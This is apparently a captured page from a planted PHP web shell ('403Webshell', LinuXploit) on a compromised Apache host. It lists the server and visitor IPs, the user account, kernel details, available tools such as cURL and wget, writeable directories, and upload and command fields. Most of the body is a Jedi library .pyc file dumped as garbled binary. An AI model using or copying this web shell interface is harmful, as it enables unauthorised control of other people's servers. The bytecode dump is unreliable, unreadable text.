403Webshell
Server IP : 217.160.0.135  /  Your IP : 216.73.217.85
Web Server : Apache
System : Linux www 6.18.52-i1-ampere #1203 SMP Mon Sep 14 18:29:59 CEST 2026 aarch64
User : sws1074145052 ( 1074145052)
PHP Version : 8.3.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/jedi/inference/value/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/jedi/inference/value/__pycache__/namespace.cpython-311.pyc
�

p�{c5���ddlmZddlmZddlmZddlmZddlm	Z	m
Z
ddlmZddl
mZddlmZGd	�d
e	e
��ZGd�dee��Zd
S)�)�Path)�Optional)�inference_state_method_cache)�
DictFilter)�ValueNameMixin�AbstractNameDefinition)�Value)�SubModuleDictMixin��NamespaceContextc��eZdZdZd�ZdS)�ImplicitNSNamez�
    Accessing names for implicit namespace packages should infer to nothing.
    This object will prevent Jedi from raising exceptions
    c�"�||_||_dS�N)�_value�string_name)�self�implicit_ns_valuers   �@/usr/lib/python3/dist-packages/jedi/inference/value/namespace.py�__init__zImplicitNSName.__init__s��'���&�����N)�__name__�
__module__�__qualname__�__doc__r�rrrrs-��������'�'�'�'�'rrc���eZdZdZdZdZ�fd�Zdd�Zd�Ze	e
��d�����Zdee
fd	�Zd
�Zd�Zd�Zd
�Zd�Zd�Zd�Zd�Z�xZS)�ImplicitNamespaceValuez:
    Provides support for implicit namespace packages
    �	namespaceNc�x��t���|d���||_||_||_dS)N)�parent_context)�superr�inference_state�string_names�_paths)rr#r$�paths�	__class__s    �rrzImplicitNamespaceValue.__init__s;���
��������>�>�>�.���(�������rc#�PK�t|�����V�dSr)r�sub_modules_dict)r�origin_scopes  r�get_filtersz"ImplicitNamespaceValue.get_filters#s,������.�.�0�0�1�1�1�1�1�1�1rc��dS)Nrr�rs r�get_qualified_namesz*ImplicitNamespaceValue.get_qualified_names&s���rrc�V�|���d}t||��S)N���)�
py__package__r)rrs  r�namezImplicitNamespaceValue.name)s*���(�(�*�*�2�.���d�K�0�0�0r�returnc��dSrrr-s r�
py__file__z!ImplicitNamespaceValue.py__file__/����trc��|jS)zReturn the fullname
        )r$r-s rr1z$ImplicitNamespaceValue.py__package__2s
��� � rc��|jSr)r%r-s r�
py__path__z!ImplicitNamespaceValue.py__path__7s
���{�rc�6�d�|j��S)N�.)�joinr$r-s r�
py__name__z!ImplicitNamespaceValue.py__name__:s���x�x��)�*�*�*rc��dS�NTrr-s r�is_namespacez#ImplicitNamespaceValue.is_namespace=r6rc��dS)NFrr-s r�is_stubzImplicitNamespaceValue.is_stub@s���urc��dSr?rr-s r�
is_packagez!ImplicitNamespaceValue.is_packageCr6rc� �t|��Srrr-s r�
as_contextz!ImplicitNamespaceValue.as_contextFs����%�%�%rc�L�d|jj�d|����d�S)N�<z: �>)r'rr=r-s r�__repr__zImplicitNamespaceValue.__repr__Is*���!�^�4�4�4�d�o�o�6G�6G�6G�6G�H�Hrr)rrrr�api_typer!rr+r.�propertyrr2rrr5r1r9r=r@rBrDrFrJ�
__classcell__)r's@rrrs>����������H��N������2�2�2�2�����!�!�#�#�1�1�$�#��X�1��H�T�N�����!�!�!�
���+�+�+����������&�&�&�I�I�I�I�I�I�IrrN)�pathlibr�typingr�jedi.inference.cacher�jedi.inference.filtersr�jedi.inference.namesrr�jedi.inference.base_valuer	�jedi.inference.value.moduler
�jedi.inference.contextrrrrrr�<module>rVs	��������������=�=�=�=�=�=�-�-�-�-�-�-�G�G�G�G�G�G�G�G�+�+�+�+�+�+�:�:�:�:�:�:�3�3�3�3�3�3�'�'�'�'�'�^�%;�'�'�'�4I�4I�4I�4I�4I�U�$6�4I�4I�4I�4I�4Ir

Youez - 2016 - github.com/yon3zu
LinuXploit